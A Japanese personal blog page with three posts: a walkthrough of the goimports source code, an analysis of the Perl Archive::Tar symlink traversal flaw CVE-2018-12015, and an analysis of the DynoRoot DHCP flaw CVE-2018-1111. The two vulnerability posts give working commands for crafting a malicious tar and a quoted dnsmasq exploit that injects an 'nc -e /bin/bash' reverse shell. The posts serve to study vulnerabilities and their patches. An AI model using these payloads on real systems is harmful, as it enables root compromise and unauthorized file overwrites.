knqyf263's blog

自分のためのメモとして残しておくためのブログ。

goimportsのソースコードを読んでみた

概要

go generate用のツールを作る時にパッケージを自動でimportしたくなったので、goimportsのソースコードを読んでみました。 Goの標準ツールということで凄い技術でやっているんだろうな...と漠然と思っており、自分なんかに理解できるだろうかという不安があったのですが、読んでみたら泥臭いことを丁寧にやっている感じでした。 コードは綺麗だし参考になるところだらけなのですが、割と普通のことをやっている感じなので必要以上に恐れずに一度読んでみると良いのではないか、と思いました。

せっかく読んだので重要そうに感じたところだけまとめておきます。 大分省略したにも関わらず長くなって誰にも読まれない文章に昇華されてしまって残念です。自分用のメモということで。

バージョン

自分が読んだときのコミットハッシュは以下です。

コミットハッシュ:3c07937fe18c27668fd78bbaed3d6b8b39e202ea

GitHub - golang/tools at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea

流れ

最初にgoimportsの重要な(だと自分が思った)処理の部分の流れについてまとめておきます。

  • AST取得
    • goimportsの対象ファイルのASTを取得する
  • AST解析
    • ASTを解析して、import一覧と使っているパッケージ一覧(とシンボル)を取得する
      • 前者:import "github.com/knqyf263/fooなどのimport文
      • 後者:foo.Barならパッケージがfoo、シンボルがBar(structなどは除外する)
  • import pathからパッケージ名の取得
    • github.com/knqyf263/go-foo のようなimport pathから実際のパッケージ名を取得しておく(import pathは go-foo だがパッケージ名は foo など、異なったりするため)
    • 単に github.com/knqyf263/go-foo/foo.go 等のGoのファイルを開いてAST解析し、パッケージ名を取得するだけ
  • 不要なimportの削除
    • 上で取得したimport一覧のうち、使われているパッケージの一覧に含まれないパッケージを探して削除
  • importの自動追加
    • 同一パッケージ内の探索
      • 同一パッケージ内の別ファイルをパースする
        • foo/bar.goに対してgoimportsを適用したらfoo/baz.goやfoo/qux.goをパース
      • 同一パッケージ内でもし同じパッケージをimportしていれば、それを優先して使う
        • foo/bar.goでqux.Printをしていて、foo/baz.goでimport "github.com/knqyf263/qux をしていればそれを優先して利用
    • $GOROOTと$GOPATHの探索
      • 最初に全てを探索してmapを作る
        • vendorやinternalは一切関係なしに、find $GOPATH/src -name "*.go" するようなイメージ(あくまでイメージで実際はいろいろ枝刈りしている)
        • この処理は一度のみ行われる
      • パッケージ名がimport path(の最後の2つの要素)内に含まれているものを候補として抽出
        • fooというパッケージ名を探している場合、 github.com/knqyf263/go-foo はfooという文字列を含むため候補となる
        • あくまで候補であり github.com/foo/bar などもfooを含むため抽出される
      • 対象のファイルからパス的に近いものを優先するようにする
        • foo/bar.go内で使われているquxを探す場合、 ../vendor/github.com/knqyf263/qux の方が ../../../../github.com/knqyf263/qux よりもスラッシュの数が少ないため優先される
      • symbolの確認
        • 候補のパッケージのexportされているsymbolを全て取得し、全て存在するか確認する
        • qux.Printを使っている場合に、 github.com/knqyf263/qux のパッケージでexportされているsymbolがHogeFugaだけであれば、このパッケージは対象外となる
    • import文の追加
      • 上で条件を満たすパッケージが見つかれば、import文をASTのライブラリを用いて追加する

詳細

mirrorがGitHubにあるのでそちらを見ていきます。

github.com

自分が重要だと思ったところだけ流して書いていくので、細かいところが気になった人は自分で読んでみると良いと思います。

imports.Process からが重要なので、その前は気にしなくて良いです。

まず、goimportsのコマンド自体は以下の cmd/goimports/goimports.go になります。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

main (cmd/goimports/goimports.go)

まずmainを見ます。 この中で gofmtMain() を呼んでいます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

gofmtMain (cmd/goimports/goimports.go)

flagの処理など色々やっています。
goimportsではファイルを渡したりディレクトリを渡したりできるので、そこら辺の処理もやっています。

そして何やかんやで processFile() が呼ばれます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

processFile (cmd/goimports/goimports.go)

指定されたファイルをOpenして中身を読み込んだりします。 それを imports.Process に渡します。 import周りの実際の処理はこのProcessで行われます。

tools/goimports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

結果が返ってきたらファイルに書き込んだり差分を表示したりしてgoimportsコマンドの処理は終わりです。

ではProcessの中を見ていきます。

Process (tools/imports/imports.go)

まずこのProcessですが、exportされているため自分のツールで使いたい場合は imports.Process で呼び出すことが可能です。

imports - GoDoc

ファイルの中身が渡ってきているので、それをparseします。 parseの中では色々やっていますが、やりたいこととしては抽象構文木(AST)を得ることなので、とりあえずはParseFileを呼んでいることだけ知っておけば良いかなと思います。

parser - The Go Programming Language

これで与えられたファイルのASTが手に入りました。

次にfixImportsを呼んで不要なimportの削除や、必要なパッケージのimportを行います。 一番知りたいのはこの中の処理になります。

tools/imports.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

その後 sortImports でimport文を並び替えたり、format.Sourceソースコードを整形したりして終わりです。

fixImports (tools/imports/fix.go)

ここからは少し細かい話になっていきます。あとの関数などは全てfix.goのものです。

得られたASTを解析するための関数 visitFn を定義しています。 ASTの解析については色々な方が解説を書いているので省略します。 visitFn では2つのことをやっています。

  • ImportSpec(import文)の解析
    • import "github.com/knqyf263/foo" みたいなやつ
  • SelectorExprの解析
    • foo.Bar みたいなやつ(多分)

ImportSpecの解析

ImportSpecの場合、importPathToName を呼んでいます。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

importPathToName によってimportのpathからパッケージ名への変換が行われます。 パッケージ名が分かれば、それをdecls というmapに保存しておきます。

importPathToName は変数で、実体は importPathToNameGoPath になります。

importPathToNameGoPath

importPathToNameGoPathを見ていきます。 この関数ではimportのpathからパッケージ名への変換を行います。 これは、importのpathだけではパッケージ名が分からないためです。 例えば gopkg.in/yaml.v2 というimport pathで、パッケージ名はyamlだったりします。 そこでどうするかと言うと、ファイルを直接見に行ってパッケージ名を調べます。

標準パッケージについては事前に分かっているため、予め変数として保持しています。 これを使うと、例えば net/http というimport pathの時に http というパッケージ名がすぐに分かります。

tools/zstdlib.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

標準パッケージにないimport pathについてはimportPathToNameGoPathParseで探します。

importPathToNameGoPathParse

build.FindOnly オプションを付けて build.Import 呼びます。 これは標準パッケージにないimport pathを解決するためのメソッドです。

build - The Go Programming Language

この結果importしたいライブラリのpathが分かるため、そのディレクトリ内のファイル名を全て取得します。 これらのファイルの中からパッケージ名を探します。 上記ファイルのうち、 .goサフィックスについており、かつ _test.go でないものを探します。 そしてGoのファイルが見つかれば、それをさきほど同様 parser.ParseFile でパースします。 このパッケージ名がdocumentationやmainの場合はskipし、条件を満たすパッケージ名が見つかるまで探していきます。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

見つかればパッケージ名をreturnして終わりです。

SelectorExprの解析

foo.Bar みたいな形の解析です(多分)。 このような形の中には、structなども含まれます。 最初にそういう場合を弾き、パッケージ名だけを取り出します(後述しますが、実はパッケージ以外にも同一パッケージ内で定義されたvarやconstも含んでいる)。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

このパッケージ名はとりあえず利用されていることがわかったため、 refs に入れます。 foo.Barであれば refs["foo"] = make(map[strinb]bool) になる。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

次に dirPackegeInfo を呼んでいます。 これも実際の関数は dirPackageInfoFile になるのでそちらを見ていきます。

dirPackageInfoFile

この関数は、goimportsの対象となっているファイルと同じパッケージにあるファイルについての情報を収集する関数になります。

最初に ioutil.ReadDir(srcDir) でgoimportsの対象ファイルと同じディレクトリ内のファイル情報を全て取得します。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

そしてfor文を回して .go で終わるなど、goに関連するファイルだけを取得します。 いつものように parser.ParseFile でASTを取得して解析します。

まず root.Declsから ast.ValueSpec なものを取り出して info.Globals に格納しています。 tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これはどういうことかと言うと、同じパッケージ内であればvarやconstで宣言した物が見えるためです。 variable.Foo()とアクセスしているが、このvariableはパッケージ名ではなく単なるvarで宣言された変数という可能性があるため、このvariableを後々パッケージ名として処理しないように収集しています。

次にimport文も集めて info.Imports に格納しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

最後に collectReferences を使って、ast.SelectorExpr を集めています。 collectReferences ではSelectorExprのうち、Exportされているものを info.Refs に格納するようになっています。 foo.barであれば info.Refs には入らず、 foo.Barであれば入るということです。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これで同一パッケージ内の情報収集は終わりです。

SelectorExprの解析(続き)

dirPackageInfoの結果がpackageInfoに格納されます。 次に、取得したpkgNameが decls に存在するか確認します。 これはimport文を収集したものなので、存在すれば既にこのpkgNameはimport済みということになります。

存在しない場合は、先程収集した packageInfo.Globals を確認します。 これはvarやconstに定義された名前だったので、このmapに存在すれば実はパッケージ名ではなく変数名や定数名だったことが分かります。

どちらにも合致しない場合はまだ未importのパッケージ名ということになるため、これを refs というmapに入れます。 この refs は2次元配列のようになっているため、呼ばれている方の名前も格納します。 つまりfoo.Barのようになっていて、このfooが未importであれば refs["foo"]["Bar"] = true のようになります。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これは、単にfooというパッケージ名だと誤ってimportすることが多くなってしまいますが(fooというパッケージが複数あった場合に判別できない)、BarというSymbolがExportされているfooパッケージを探すことで精度高くimportが可能なためです。

ここまでで、対象のファイルの中で利用されているパッケージ名の一覧と、未importのパッケージ名+Symbol一覧が手に入りました。

不要なimport分の削除

先程の2つの解析により、以下の2つを得ています。

  • decls: importされているパッケージ一覧
  • refs: 実際に利用されいているパッケージ一覧

これらの差を見ることで不要なimportが判定できます。 つまり、 decls にあるパッケージ名のうち、 refs にないものを unusedImportにいれて削除対象とします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

実際の削除処理はこちら。CGOの場合はskipなどの処理が入っていたりはしますが、先程のunusedImportを削除しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

import済みのパッケージ名の除去

未importのパッケージ名についてはSymbolをrefsに入れてあります。 なので、Symbolがないものについては既にimportされているパッケージであることが分かります。 このあとの処理は未importのものをimportする処理なので、それらは削除します。

削除した結果、refs が空になれば未importのパッケージがないということになるため処理を終わります。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

未importのパッケージをimportする

ここからが一番肝心の処理になります。 まず未importのパッケージ情報が入っている refs をfor文で回します。 それらをgoroutineで処理し、パッケージのimport pathを探します。

同一パッケージから探す

dirPackageInfoFile の中で同一パッケージの別ファイルの情報を集めました。 このimportの中に同じパッケージ名があれば同じimport pathを使うようにします。 ただし、同じsymbolが使われていることが前提になります。 foo.Barがgoimportsの対象ファイル内で使われていて、同一パッケージにfoo.Barがあれば同じfooであるとみなしますが、foo.Bazになっていればskipします。

同一パッケージの別ファイルでfoo.Barが使われており、 import "github.com/knqyf263/foo" になっていれば、同様のimport pathであるとみなしてこのパッケージ名に関する処理を終わります。

findImport(全体から探す)

同一パッケージ内になければ全体から探します。 findImport が呼ばれていますが、実体は findImportGoPath なのでその中を見ていきます。

findImportStdlib

最初に findImportStdlib で標準パッケージ内を探しています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

探すときには同時にsymbolsも渡しており、全てのsymbolがexportされている場合はimport pathが返ってきます。 標準パッケージは以下のように事前にmapが定義されています。

        "fmt.Errorf":                                    "fmt",
        "fmt.Formatter":                                 "fmt",
        "fmt.Fprint":                                    "fmt",
        "fmt.Fprintf":                                   "fmt",

例えば fmt.Fprintfmt.Errorf がgoimportsの対象ファイル内で使われていれば fmt というimport pathが返ってきます。 しかし、fmt.Fprintfmt.Foo が利用されている場合は全てのsymbolが一致しないため fmt は返されません。

また、rand.Readの場合はmath/randではなくcrypto/randを使うような特別な対応も入っていたりします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

標準パッケージになかった場合は、ついに$GOROOTと$GOPATHを探しに行きます。 まず全てのpathをscanします。 これらは sync.Once を使って一度しかscanしに行かないようになっています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

scanGoDirs

scanGoDirsの中を見てみます。

build.Default.SrcDirs()$GOROOT/src$GOPATH/src が返ってきます。 これらの下を再帰的に全て見て行きます。 少し驚いたのですが、goimports対象のファイル付近のvendorだけ見たりとかしてるのかと思ったのですが、$GOPATH/src の下は全てなめています。 つまり、github.com/knqyf263/test1/vendorgithub.com/knqyf263/test2/vendor もこの時点では一緒に扱われます。

ファイルの場合、 src直下にあるものはskipします。$GOPATH/src/main.go みたいなもの。 あとは .go で終わらないものもskipします。 そしてこのファイルの存在するディレクトリを取得し、$GOPATH/src以降をimportPathとして取り出します。 この時、上で述べたようにvendor以下も全て取得しているためVendorlessPath を呼んでvendor以降のimport pathも取り出してimportPathShortとします。 これらを合わせてpkgというstructに保存します。 例えば以下のようになります。

imports.pkg{
  dir:             "/home/knqyf263/src/github.com/future-architect/vuls/vendor/github.com/knqyf263/go-cpe/naming",
  importPath:      "github.com/future-architect/vuls/vendor/github.com/knqyf263/go-cpe/naming",
  importPathShort: "github.com/knqyf263/go-cpe/naming",
}

出来上がったpkgをdirScanというmapに保存しておきます。

これを全てのdirについて行うため、dirScanのkey数はかなりの量になります。 当然ですが、同じdirはskipされるようになっています。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

ディレクトリの場合、"testdata"や"node_modules"というディレクトリ名の場合はそれ以降探索しないようになっています。 他にもignoreの設定が可能なため、ignoreに設定されている場合もそのディレクトリ以下は探索しません。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

シンボリックの場合の処理もありますが割愛します。

探索はfastwalkという x/tools/internal で定義されているモジュールを使っています。 internalなため、外部からは利用できません。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

上記の処理により$GOROOTと$GOPATHを全てscanしてscanDirに入れ終えました。

pkgIsCandidate(候補検索)

まず最初にscanDirのうち、今回のパッケージ名の候補となりそうなpkgの一覧を取得します。 これはpkgIsCandidate の中で行われているので見てみます。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

pkgIsCandidate では最初にcanUseでvendorやinternalなどのルールに一致しているか確かめます。 子は親のvendor等を見ることができますが、子同士やさらに子のvendor等は見ることができません。 つまり ../vendor../internal は許されるが、../foo/vendor../foo/internalbar/vendorbar/internal は見ることができません。

これも予想もつかない凄いコードでやっているんだろうと勝手に思い込んでいましたが、読んでみたら普通な感じでした(シンプルにやっていて凄いとは思いましたが)。 canUse の中を見ると、自分でも頑張れそうな気持ちになれるのでおすすめです。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

次に lastTwoComponents でimportPathの最後の2つの要素を取り出します。 github.com/knqyf263/foo なら knqyf263/foo になります。 そして、パッケージ名がこの文字列に含まれるかを調べます。 例えばパッケージ名がscanなら以下の全てにヒットします。

  • hcl/scanner
  • vuls/scan
  • text/scanner

それどころかnqみたいなパッケージ名の場合、knqyf263/foo にもヒットします。 あくまで候補でありこのあとフィルタするので間違うことはないのですが、シンプルな感じだなーと思いました。

また、これは github.com/knqyf263/foo というimport pathでパッケージ名がbarの場合は候補に選ばれません。 つまりgoimportsが勝手に補完してくれなくなります。 パッケージ名とディレクトリ名は一致させるようにしましょう(普通にGo書いてたら一致させるとは思いますが)。

他にも大文字の場合やハイフンが入ることにより一致しない場合をなくすため、小文字にしてハイフンを削除してからマッチングしたりもしています。 github.com/json-iterator/go はパッケージ名がjsoniterですがimport path内には存在しません。ハイフンを削除して初めてマッチします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

distance(距離計算)

上の関数で候補のパッケージを取得しましたが、これらのパッケージと今処理中のパッケージの距離を計算します。 この距離というのは、どのパッケージを優先してimportするべきか、という優先度になります。 計算自体はdistanceで行われています。

もう段々分かってきたかと思いますが、このdistanceも非常にシンプルです。 まず相対パスを出します。あとはその相対パス内のスラッシュ(正確にはセパレータ)の数を数えるだけです。

例えば、"../vendor/github.com/knqyf263/foo" であれば4になります(実際の処理では最後に1足してるので5ですが)。 ../../../../github.com/knqyf263/foo であれば6になります。 つまり、パス的に近い遠いを測っています。 すぐに難しいアルゴリズムとか持ち出してこない感じで好きになりました。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

byDistanceOrImportPathShortLength(優先度順に並び替え)

上で計算したdistanceの順に並び替えます。 もしdistanceの値が同じであればimportPathShortの長さで並び替えます。 github.com/knqyf263/foogithub.com/knqyf263/foobar であれば前者が先になります。 それも同じであればあとはimportPathShortの辞書順に並び替えます。

symbolの確認

このあとの処理は候補のパッケージそれぞれについてgoroutineで並列に行います。 まず候補のパッケージがexportしているsymbolをloadExportsで全て取得します。 このloadExports内も今までどおりASTで頑張っています。

loadExportsで全てのsymbolが得られたら、処理中のパッケージが利用しているsymbolと比較します。 全てexportされているものが存在したら該当のパッケージを見つけたということで処理を終えます。 この時、importPathの最後の要素とパッケージ名が異なる場合はneedsRenameをtrueにして返します。

長くなりましたが、これでfindImportの処理は終わりです。

未importのパッケージをimportする(続き)

findImportの結果、空文字列が返ってきた場合は条件を満たすパッケージが見つからなかったことを意味するので終了します。 もし見つかっていれば、resultsに入れます。

そのresultsそれぞれに対して astutil.AddImportastutil.AddNamedImport を呼び出してソースコードにimportを追加します。 あとは追加したimport pathをまとめてreturnします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これで重要なところは全て終わりです。

まとめ

せっかく読んだしまとめておこうと思ったら長くなったし誰が読むんだって感じになってしまいました。 ですが、恐れずに読むと意外と普通のことをやっているだけだったりするのでブログは読まなくてもソースコードは一度読んでみることをおすすめします。

PerlのArchive::Tarの脆弱性(CVE-2018-12015)について調べてみた

概要

少し前ですが、PerlのArchive::Tarモジュールにディレクトリトラバーサル脆弱性が見つかりました(CVE-2018-12015)。

oss-sec: Perl: CVE-2018-12015: Archive::Tar: directory traversal vulnerability

この脆弱性RedHatのページでCVSSスコア5.4とかなので特別高いわけではなく世間的にも全く話題になっていないのですが、どうやってこの脆弱性が起きるのか気になってしまったので調べました。

#Zip Slipの方じゃなくて全く話題になってないやつです。

実験

とりあえず試してみます。上のページに攻撃方法が載っています。

$ tar -tvvf traversal.tar.gz
lrwxrwxrwx root/root         0 2018-06-05 18:55 moo -> /tmp/moo
-rw-r--r-- root/root         4 2018-06-05 18:55 moo

$ pwd
/home/jwilk

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'

$ ls /tmp/moo
/tmp/moo

どうやら同じファイル名でtar.gzに入れてその片方をシンボリックリンクにしておくと、その向き先にもう一つのファイルの内容を書き込めるようです。

ではまず適当にシンボリックリンクを作ります。

$ ln -s /tmp/moo moo

そして次に同じファイル名を...と思って気づいたのですが、普通にやるとファイルシステム的には同じファイル名を許容しないので作れない。。

tarの内部的にはヘッダーのnameに入るだけだと思うので同じnameでも許容されるであろうことは直感的には分かるのですが、作り方は知りませんでした。 プログラム書けば出来るだろうけど、面倒だしな...と思っていて調べたらtarのtransformオプションに気づきました。 こいつを使えばアーカイブ時にパス名を書き換えられるようです。

$  cat <<EOF > foo
#!/bin/sh

echo foo
EOF

$ tar zcvf traversal.tar.gz * --transform='s/foo/moo/g'
foo
moo

中身を確認してみます。

$ tar -tvvf traversal.tar.gz
-rw-r--r-- root/root        20 2018-06-27 00:39 moo
lrwxrwxrwx root/root         0 2018-06-27 00:00 moo -> /tmp/moo

無事に同じファイルで書き込めました。 あとはPerlを実行するだけです。

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
Making symbolic link '/root/traversal/moo' to '/tmp/moo' failed at -e line 1.

$ cat /tmp/moo
#!/bin/sh

echo foo

ということで無事に成功しました。

詳細

何でこんな事が起きるんだっけ?ということを確認します。 以下で今回の脆弱性について話されているようです。

Bug #125523 for Archive-Tar: CVE-2018-12015 directory traversal vulnerability

Perl全然詳しくないのでモジュールのソースコード見たい場合はどこを見るのが正しいかすら知らないのですが、GitHubに見つけたのでこれを使って調査します(どこかのミラーなんですかね)。

GitHub - jib/archive-tar-new

今回の脆弱性の修正箇所は以下にあります。

github.com

    if (-l $full || -e _) {
    if (!unlink $full) {
        $self->_error( qq[Could not remove old file '$full': $!] );
        return;
    }
    }

Perlは相変わらず省略が多くて読みにくいですが、 -l $full のところではファイルがシンボリックリンクか確認しています。 また、 -e _ では、 _ が直前にファイルテスト演算子でテストしたファイルになるようなので、 $full が存在するかの確認になるようです。

つまり、ファイルがシンボリックリンクだったり既に存在しているようであれば削除するという処理になります。

次に、この下の処理を確認してみます。

if( length $entry->type && $entry->is_file ) {
        my $fh = IO::File->new;
        $fh->open( $full, '>' ) or (
            $self->_error( qq[Could not open file '$full': $!] ),
            return
        );

        if( $entry->size ) {
            binmode $fh;
            syswrite $fh, $entry->data or (
                $self->_error( qq[Could not write data to '$full'] ),
                return
            );
        }

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L862-L875

$full をopenして、そこに $entry->data を書き込んでいることが分かります。 ソースコードを読むだけでは面白くないので、実行して中身を見てみます。

適当にopenの前とかにDumperを挟んでみます。

print Dumper $full;
$fh->open( $full, '>' ) or (
...

インストール方法はREADMEに書いてあります。

perl Makefile.PL
make
make test (optional but recommended)
make install

この状態で再度実行します。

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
$VAR1 = '/root/traversal/moo';

$full には単にファイルのフルパスが入っているようです。

次に $entry も見てみます。

$VAR1 = bless( {
                 'chksum' => 4336,
                 'raw' => 'moo0000644000000000000000000000002413307364634010360 0ustar  rootroot',
                 'mode' => 420,
                 'version' => ' ',
                 'gid' => 0,
                 'data' => '#!/bin/sh

echo foo
',
                 'magic' => 'ustar',
                 'name' => 'moo',
                 'uname' => 'root',
                 'type' => '0',
                 'devmajor' => 0,
                 'size' => 20,
                 'linkname' => '',
                 'prefix' => '',
                 'mtime' => 1528687004,
                 'devminor' => 0,
                 'uid' => 0,
                 'gname' => 'root'
               }, 'Archive::Tar::File' );

tarのヘッダに入っているような情報が含まれているようです。 そして実際のデータは data の中に入っていました。

シンボリックリンクの方は以下のようになっており、 linkname にリンクされている先が入っているようです。

$VAR1 = bless( {
                 'name' => 'moo',
                 'gid' => 0,
                 'magic' => 'ustar',
                 'raw' => 'moo0000777000000000000000000000000013314551645011671 2/tmp/mooustar  rootroot',
                 'mode' => 511,
                 'chksum' => 5049,
                 'version' => ' ',
                 'linkname' => '/tmp/moo',
...

一応 $full がどこから来ているかも確認しておきます。

my $full = File::Spec->catfile( $dir, $file );

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L841

単に $dir$file を結合しているだけのようです、

$file は以下のように $name から来ており、これは $entry から来ているので、結局ヘッダ内の情報を使っているようです。

if ( defined $alt ) { # It's a local-OS path
    ($vol,$dirs,$file) = File::Spec->splitpath(       $alt,
                                                      $entry->is_dir );
} else {
    ($vol,$dirs,$file) = File::Spec::Unix->splitpath( $name,
                                                      $entry->is_dir );
}

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L696-L702

つまりまとめると、以下のような流れになります。

1つめのmoo(シンボリックリンク

  1. mooというファイル名(正確にはパスも含む)をヘッダから取り出す
  2. mooというファイルをopenする(存在しないので新規作成)
  3. linknameを使ってシンボリックリンクを生成する

2つめのmoo(実際のファイル)

  1. mooというファイル名をヘッダから取り出す
  2. mooというファイルをopenする
  3. しかしmooは既に存在するので、上で作ったシンボリックリンクをopenしたことになる
  4. その中にdataを書き込む
  5. リンクされた先(上記では /tmp/moo )に書き込まれる

ポイントとしてはnameとdataが分離されて保存されているところかと思います。同じnameでopen処理をすると最初に作られたファイルがopenされてしまいそこにdataが書き込まれる、というのが分かれば特に難しい脆弱性ではありません。分かれば簡単、といういつものパターンです。

雑に言えばmooというファイルにfooって書き込もうとしたら、既にmooが存在していて /tmp/mooシンボリックリンクがはられていたので、そっちにfooが書き込まれてしまった、というイメージですね。

$ ln -s /tmp/moo moo
$ echo foo > moo
$ cat /tmp/moo
foo

まとめ

tarを解凍するときにディレクトリトラバーサルできるという脆弱性について調べました。 シンボリックリンクと同じファイル名でアーカイブしておくと、その内容がシンボリックリンクの先に書き込まれます。

実際にモジュールを動かしながら検証すると色々気づきがあって面白かったです。 最初に脆弱性概要を見たときにはぱっとイメージが沸かなかったので、今回少し賢くなりました。

DynoRoot (CVE-2018-1111) について調べてみた

DynoRoot (CVE-2018-1111) という脆弱性が公開されていたので調べてみました。 公開された日は時間取れませんでしたが、昨日は少し時間あったので試したりしました。 業務としてやってるわけじゃないので隙間時間にちょっとずつ進めた感じです。

概要

Red Hat Enterprise Linux 6/7に影響するCVE-2018-1111という脆弱性が公表されました。

CVE-2018-1111 - Red Hat Customer Portal

dhclientがNetworkManagerに提供しているスクリプト脆弱性があったようです。 DHCPクライアントの脆弱性になります。 DHCPクライアントがDHCPサーバから受け取ったDHCPのオプションを処理する際にバグが有り、任意コマンド実行が可能になっています。 NetworkManagerの権限で実行されるため、root権限での実行になります。

攻撃するためにはDHCPサーバになりすます必要があり(同一セグメントにいて正規のDHCPサーバより早く応答することでも攻撃可能)、攻撃可能なのは隣接ネットワークからになるため危険度は低いかなと思っています。 ですが環境によっては致命的なこともあると思いますので、各種情報を確認して判断して下さい。

セキュリティアップデートが公開済みなので、パッチを適用することで脆弱性を回避可能です。 変更は1行のみなので影響が出ることもないかと思います。 修正済みのバージョンについては上記URLからアドバイザリを確認して下さい。

詳細

ということで攻撃を試しつつ今回の脆弱性について見ていきます。

環境

RedHatという高尚なものは持っていないのでCentOSで試しました。 基本的に利用しているスクリプトは一緒だし動くだろーと思って雑に試したら動いた感じです。 CentOS 6系では異なると思いますが、基本的に以下ではCentOS 7で解説しています。

パッチ

CentOSのものになりますが、今回の修正は以下になります。

rpms/dhcp.git - git.centos.org

11-dhclientというファイルの

while read opt; do

の箇所を

while read -r opt; do

に変えただけですね。1行どころか2文字足しただけです。

11-dhclientはどこにあるかというと以下です。

# cat /etc/NetworkManager/dispatcher.d/11-dhclient
#!/bin/bash
# run dhclient.d scripts in an emulated environment

PATH=/bin:/usr/bin:/sbin
SAVEDIR=/var/lib/dhclient
ETCDIR=/etc/dhcp
interface=$1

eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
)"
...snip...

該当箇所はevalの中のようです。

Exploit

上記を頭に入れた上でExploitを見てみます。 Twitterで公開している人がいました。

こんなのよくシュッと出してくるなーという気持ちですが、とりあえず本体は以下のコマンドのようです。

$ dnsmasq --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

dhcp-optionのところでコマンドが指定されています。

これを実際に試してみますが、説明が面倒なので例によって環境を作って置いておきました。 試したい人はどうぞ。

github.com

まとめると、victimなCentOSからdhcpIPアドレスを取りに行く時に、attackerが悪意のあるdhcp-optionを指定して応答すると任意コマンドが実行される、という流れになります。 ネットワーク関連の設定で色々ハマりやすいのでdocker-compose upで出来るようにしておきました。

詳細

先程のevalの中を見てみます。 declare コマンドでシェルの変数を全て表示して DHCP4_ から始まるものをreadしてwhileの中に渡しています。

このスクリプト内でdeclareの結果をdumpしてみると以下のようになります。 ちなみにこの変数がどこで定義されているかまでは調べてないので誰かの報告を待ちます。

DHCP4_BROADCAST_ADDRESS=10.10.0.255
DHCP4_DHCP_LEASE_TIME=3600
DHCP4_DHCP_MESSAGE_TYPE=5
DHCP4_DHCP_REBINDING_TIME=3150
DHCP4_DHCP_RENEWAL_TIME=1800
DHCP4_DHCP_SERVER_IDENTIFIER=10.10.0.3
DHCP4_DOMAIN_NAME_SERVERS=10.10.0.1
DHCP4_EXPIRY=1526609756
DHCP4_HOST_NAME=victim
DHCP4_IP_ADDRESS=10.10.0.11
DHCP4_NETWORK_NUMBER=10.10.0.0
DHCP4_NEXT_SERVER=10.10.0.3
DHCP4_REQUESTED_BROADCAST_ADDRESS=1
DHCP4_REQUESTED_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_DOMAIN_NAME=1
DHCP4_REQUESTED_DOMAIN_NAME_SERVERS=1
DHCP4_REQUESTED_DOMAIN_SEARCH=1
DHCP4_REQUESTED_HOST_NAME=1
DHCP4_REQUESTED_INTERFACE_MTU=1
DHCP4_REQUESTED_MS_CLASSLESS_STATIC_ROUTES=1
